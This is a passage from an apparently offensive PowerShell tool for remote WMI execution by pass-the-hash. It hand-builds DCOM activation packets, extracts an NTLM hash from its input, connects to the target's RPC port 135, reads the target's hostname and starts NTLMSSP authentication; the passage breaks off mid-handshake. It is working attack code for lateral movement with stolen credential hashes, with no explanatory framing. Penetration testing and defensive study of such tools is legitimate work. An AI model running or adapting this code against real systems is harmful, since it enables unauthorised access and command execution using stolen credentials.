  294. $packet_target_unicode += ,0x00 * (([Math]::Truncate($packet_target_unicode.Length / 8 + 1) * 8) - $packet_target_unicode.Length)
  295. [Byte[]]$packet_cntdata = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 720)
  296. [Byte[]]$packet_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 680)
  297. [Byte[]]$packet_total_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 664)
  298. [Byte[]]$packet_private_header = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 40) + 0x00,0x00,0x00,0x00
  299. [Byte[]]$packet_property_data_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 56)
  300. $packet_DCOMRemoteCreateInstance = New-Object System.Collections.Specialized.OrderedDictionary
  301. $packet_DCOMRemoteCreateInstance.Add("DCOMVersionMajor",[Byte[]](0x05,0x00))
  302. $packet_DCOMRemoteCreateInstance.Add("DCOMVersionMinor",[Byte[]](0x07,0x00))
  303. $packet_DCOMRemoteCreateInstance.Add("DCOMFlags",[Byte[]](0x01,0x00,0x00,0x00))
  304. $packet_DCOMRemoteCreateInstance.Add("DCOMReserved",[Byte[]](0x00,0x00,0x00,0x00))
  305. $packet_DCOMRemoteCreateInstance.Add("DCOMCausalityID",$packet_causality_ID)
  306. $packet_DCOMRemoteCreateInstance.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00))
  307. $packet_DCOMRemoteCreateInstance.Add("Unknown2",[Byte[]](0x00,0x00,0x00,0x00))
  308. $packet_DCOMRemoteCreateInstance.Add("Unknown3",[Byte[]](0x00,0x00,0x02,0x00))
  309. $packet_DCOMRemoteCreateInstance.Add("Unknown4",$packet_cntdata)
  310. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCntData",$packet_cntdata)
  311. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57))
  312. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00))
  313. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesOBJREFIID",[Byte[]](0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  314. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFCLSID",[Byte[]](0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  315. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00))
  316. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFSize",$packet_size)
  317. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesTotalSize",$packet_total_size)
  318. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00))
  319. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  320. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderPrivateHeader",[Byte[]](0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  321. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderTotalSize",$packet_total_size)
  322. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCustomHeaderSize",[Byte[]](0xc0,0x00,0x00,0x00))
  323. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderReserved",[Byte[]](0x00,0x00,0x00,0x00))
  324. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesDestinationContext",[Byte[]](0x02,0x00,0x00,0x00))
  325. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesNumActivationPropertyStructs",[Byte[]](0x06,0x00,0x00,0x00))
  326. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsInfoClsid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  327. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00))
  328. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00))
  329. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesNULLPointer",[Byte[]](0x00,0x00,0x00,0x00))
  330. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00))
  331. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid",[Byte[]](0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  332. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid2",[Byte[]](0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  333. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid3",[Byte[]](0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  334. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid4",[Byte[]](0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  335. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid5",[Byte[]](0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  336. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid6",[Byte[]](0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  337. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00))
  338. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize",[Byte[]](0x68,0x00,0x00,0x00))
  339. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize2",[Byte[]](0x58,0x00,0x00,0x00))
  340. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize3",[Byte[]](0x90,0x00,0x00,0x00))
  341. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize4",$packet_property_data_size)
  342. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize5",[Byte[]](0x20,0x00,0x00,0x00))
  343. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize6",[Byte[]](0x30,0x00,0x00,0x00))
  344. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  345. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPrivateHeader",[Byte[]](0x58,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  346. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesSessionID",[Byte[]](0xff,0xff,0xff,0xff))
  347. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesRemoteThisSessionID",[Byte[]](0x00,0x00,0x00,0x00))
  348. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesClientImpersonating",[Byte[]](0x00,0x00,0x00,0x00))
  349. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionIDPresent",[Byte[]](0x00,0x00,0x00,0x00))
  350. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesDefaultAuthnLevel",[Byte[]](0x02,0x00,0x00,0x00))
  351. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionGuid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  352. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesProcessRequestFlags",[Byte[]](0x00,0x00,0x00,0x00))
  353. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesOriginalClassContext",[Byte[]](0x14,0x00,0x00,0x00))
  354. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesFlags",[Byte[]](0x02,0x00,0x00,0x00))
  355. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  356. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  357. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  358. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoPrivateHeader",[Byte[]](0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  359. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiatedObjectClsId",[Byte[]](0x5e,0xf0,0xc3,0x8b,0x6b,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20))
  360. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoClassContext",[Byte[]](0x14,0x00,0x00,0x00))
  361. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoActivationFlags",[Byte[]](0x00,0x00,0x00,0x00))
  362. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoFlagsSurrogate",[Byte[]](0x00,0x00,0x00,0x00))
  363. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInterfaceIdCount",[Byte[]](0x01,0x00,0x00,0x00))
  364. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiationFlag",[Byte[]](0x00,0x00,0x00,0x00))
  365. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtr",[Byte[]](0x00,0x00,0x02,0x00))
  366. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationEntirePropertySize",[Byte[]](0x58,0x00,0x00,0x00))
  367. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMajor",[Byte[]](0x05,0x00))
  368. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMinor",[Byte[]](0x07,0x00))
  369. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00))
  370. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIds",[Byte[]](0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20))
  371. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00))
  372. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  373. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoPrivateHeader",[Byte[]](0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  374. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientOk",[Byte[]](0x00,0x00,0x00,0x00))
  375. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved",[Byte[]](0x00,0x00,0x00,0x00))
  376. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00))
  377. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved3",[Byte[]](0x00,0x00,0x00,0x00))
  378. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00))
  379. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00))
  380. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextUnknown",[Byte[]](0x60,0x00,0x00,0x00))
  381. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextCntData",[Byte[]](0x60,0x00,0x00,0x00))
  382. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57))
  383. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00))
  384. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID",[Byte[]](0xc0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  385. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID",[Byte[]](0x3b,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  386. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00))
  387. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize",[Byte[]](0x30,0x00,0x00,0x00))
  388. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer",[Byte[]](0x01,0x00,0x01,0x00,0x63,0x2c,0x80,0x2a,0xa5,0xd2,0xaf,0xdd,0x4d,0xc4,0xbb,0x37,0x4d,0x37,0x76,0xd7,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00))
  389. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  390. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader",$packet_private_header)
  391. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoAuthenticationFlags",[Byte[]](0x00,0x00,0x00,0x00))
  392. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00))
  393. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00))
  394. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved",[Byte[]](0x00,0x00,0x00,0x00))
  395. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameReferentID",[Byte[]](0x04,0x00,0x02,0x00))
  396. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00))
  397. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00))
  398. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameMaxCount",$packet_target_length)
  399. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameOffset",[Byte[]](0x00,0x00,0x00,0x00))
  400. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameActualCount",$packet_target_length)
  401. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameString",$packet_target_unicode)
  402. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  403. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoPrivateHeader",[Byte[]](0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  404. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00))
  405. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoProcessID",[Byte[]](0x00,0x00,0x00,0x00))
  406. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoApartmentID",[Byte[]](0x00,0x00,0x00,0x00))
  407. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoContextID",[Byte[]](0x00,0x00,0x00,0x00))
  408. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))
  409. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoPrivateHeader",[Byte[]](0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  410. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00))
  411. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00))
  412. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestClientImpersonationLevel",[Byte[]](0x02,0x00,0x00,0x00))
  413. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestNumProtocolSequences",[Byte[]](0x01,0x00))
  414. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestUnknown",[Byte[]](0x00,0x00))
  415. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00))
  416. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00))
  417. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq",[Byte[]](0x07,0x00))
  418. $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00))
  419. return $packet_DCOMRemoteCreateInstance
  420. }
  421. function Get-UInt16DataLength
  422. {
  423. param ([Int]$Start,[Byte[]]$Data)
  424. $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0)
  425. return $data_length
  426. }
  427. if($hash -like "*:*")
  428. {
  429. $hash = $hash.SubString(($hash.IndexOf(":") + 1),32)
  430. }
  431. if($Domain)
  432. {
  433. $output_username = $Domain + "\" + $Username
  434. }
  435. else
  436. {
  437. $output_username = $Username
  438. }
  439. if($Target -eq 'localhost')
  440. {
  441. $Target = "127.0.0.1"
  442. }
  443. try
  444. {
  445. $target_type = [IPAddress]$Target
  446. $target_short = $target_long = $Target
  447. }
  448. catch
  449. {
  450. $target_long = $Target
  451. if($Target -like "*.*")
  452. {
  453. $target_short_index = $Target.IndexOf(".")
  454. $target_short = $Target.Substring(0,$target_short_index)
  455. }
  456. else
  457. {
  458. $target_short = $Target
  459. }
  460. }
  461. $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id
  462. $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))
  463. $process_ID = $process_ID -replace "-00-00",""
  464. [Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  465. Write-Verbose "Connecting to $Target`:135"
  466. $WMI_client_init = New-Object System.Net.Sockets.TCPClient
  467. $WMI_client_init.Client.ReceiveTimeout = 30000
  468. try
  469. {
  470. $WMI_client_init.Connect($Target,"135")
  471. }
  472. catch
  473. {
  474. Write-Output "[-] $Target did not respond"
  475. }
  476. if($WMI_client_init.Connected)
  477. {
  478. $WMI_client_stream_init = $WMI_client_init.GetStream()
  479. $WMI_client_receive = New-Object System.Byte[] 2048
  480. $RPC_UUID = 0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a
  481. $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x02 0x00,0x00 $RPC_UUID 0x00,0x00
  482. $packet_RPC["FragLength"] = 0x74,0x00
  483. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  484. $WMI_client_send = $RPC
  485. $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  486. $WMI_client_stream_init.Flush()
  487. $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  488. $assoc_group = $WMI_client_receive[20..23]
  489. $packet_RPC = New-PacketRPCRequest 0x03 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x05,0x00
  490. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  491. $WMI_client_send = $RPC
  492. $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  493. $WMI_client_stream_init.Flush()
  494. $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  495. $WMI_hostname_unicode = $WMI_client_receive[42..$WMI_client_receive.Length]
  496. $WMI_hostname = [System.BitConverter]::ToString($WMI_hostname_unicode)
  497. $WMI_hostname_index = $WMI_hostname.IndexOf("-00-00-00")
  498. $WMI_hostname = $WMI_hostname.SubString(0,$WMI_hostname_index)
  499. $WMI_hostname = $WMI_hostname -replace "-00",""
  500. $WMI_hostname = $WMI_hostname.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  501. $WMI_hostname = New-Object System.String ($WMI_hostname,0,$WMI_hostname.Length)
  502. if($target_short -cne $WMI_hostname)
  503. {
  504. Write-Verbose "WMI reports target hostname as $WMI_hostname"
  505. $target_short = $WMI_hostname
  506. }
  507. $WMI_client_init.Close()
  508. $WMI_client_stream_init.Close()
  509. $WMI_client = New-Object System.Net.Sockets.TCPClient
  510. $WMI_client.Client.ReceiveTimeout = 30000
  511. try
  512. {
  513. $WMI_client.Connect($target_long,"135")
  514. }
  515. catch
  516. {
  517. Write-Output "[-] $target_long did not respond"
  518. }
  519. if($WMI_client.Connected)
  520. {
  521. $WMI_client_stream = $WMI_client.GetStream()
  522. $RPC_UUID = 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
  523. $packet_RPC = New-PacketRPCBind 3 0xd0,0x16 0x01 0x01,0x00 $RPC_UUID 0x00,0x00
  524. $packet_RPC["FragLength"] = 0x78,0x00
  525. $packet_RPC["AuthLength"] = 0x28,0x00
  526. $packet_RPC["NegotiateFlags"] = 0x07,0x82,0x08,0xa2
  527. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  528. $WMI_client_send = $RPC
  529. $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  530. $WMI_client_stream.Flush()
  531. $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  532. $assoc_group = $WMI_client_receive[20..23]
  533. $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive)
  534. $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-",""
  535. $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000")
  536. $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2
  537. $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive
